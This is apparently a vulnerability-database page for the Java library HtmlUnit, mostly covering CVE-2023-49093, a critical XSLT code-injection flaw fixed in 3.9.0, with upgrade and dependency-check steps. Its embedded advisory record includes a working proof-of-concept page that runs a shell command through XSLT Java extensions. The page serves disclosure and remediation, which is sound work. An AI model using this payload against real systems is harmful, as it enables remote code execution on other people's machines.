Vulnerabilities in pkg:maven/org.htmlunit/htmlunit
PACKAGECVE-2023-49093 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Htmlunit libraries in the Maven ecosystem. The issue involves htmlunit vulnerable to remote code execution (rce) via xstl. Remediation is available by upgrading affected packages to version 3.9.0.
pkg:maven/org.htmlunit/htmlunit
Vulnerability advisories affecting package pkg:maven/org.htmlunit/htmlunit. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-37vq-hr2f-g7h7 | CVE-2023-49093 | CRITICAL | HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL |
| GHSA-rc44-5cmh-879m | CVE-2023-2798 | HIGH | Unrestricted recursion in htmlunit |
CVE-2023-49093 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2023-49093
To remediate this vulnerability, upgrade all affected Htmlunit dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>org.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>3.9.0</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.htmlunit
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2023-49093, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.htmlunit
Analyze the terminal output to locate any version of Htmlunit in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.9.0), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.htmlunit command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Htmlunit, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-49093 Affected Htmlunit Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.htmlunit:htmlunit
|
Maven |
< 3.9.0
|
3.9.0
|
References
Frequently Asked Questions
What is CVE-2023-49093?
Which Htmlunit versions are affected?
What version fixes CVE-2023-49093?
Is htmlunit affected?
What is the CVSS score of CVE-2023-49093?
What CWE is associated with CVE-2023-49093?
How can I check Maven dependencies for CVE-2023-49093?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-37vq-hr2f-g7h7",
"modified" : "2023-12-04T23:13:30Z",
"published" : "2023-12-04T23:13:30Z",
"aliases" : [ "CVE-2023-49093" ],
"summary" : "HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL",
"details" : "### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n<dependency>\n <groupId>org.htmlunit</groupId>\n <artifactId>htmlunit</artifactId>\n <version>3.8.0</version>\n</dependency>\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n<script>\n var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n var xslProc;\n xslDoc.async = false;\n xslDoc.loadXML(`<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\">\n <xsl:template match=\"/\">\n <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'open -a Calculator')\"/>\n <xsl:variable name=\"processString\" select=\"ob:toString($process)\"/>\n <span><xsl:value-of select=\"$processString\"/></span>\n </xsl:template>\n </xsl:stylesheet>`)\n\n if (xslDoc.parseError.errorCode != 0) {\n var myErr = xslDoc.parseError;\n document.write(\"ParseError: \"+myErr.reason);\n } else {\n xslt.stylesheet = xslDoc;\n var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n xmlDoc.async = false;\n xmlDoc.loadXML(\"<s></s>\");\n if (xmlDoc.parseError.errorCode != 0) {\n var myErr = xmlDoc.parseError;\n document.write(\"Document error: \" + myErr.reason);\n } else {\n xslProc = xslt.createProcessor();\n xslProc.input = xmlDoc;\n xslProc.transform();\n document.write(xslProc.output);\n }\n }\n</script>\n```\n\n\n### Impact\nRemote Code Execution",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.htmlunit:htmlunit"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.9.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-49093"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/HtmlUnit/htmlunit"
}, {
"type" : "WEB",
"url" : "https://www.htmlunit.org/changes-report.html#a3.9.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2023-12-04T23:13:30Z",
"nvd_published_at" : "2023-12-04T05:15:07Z"
}
}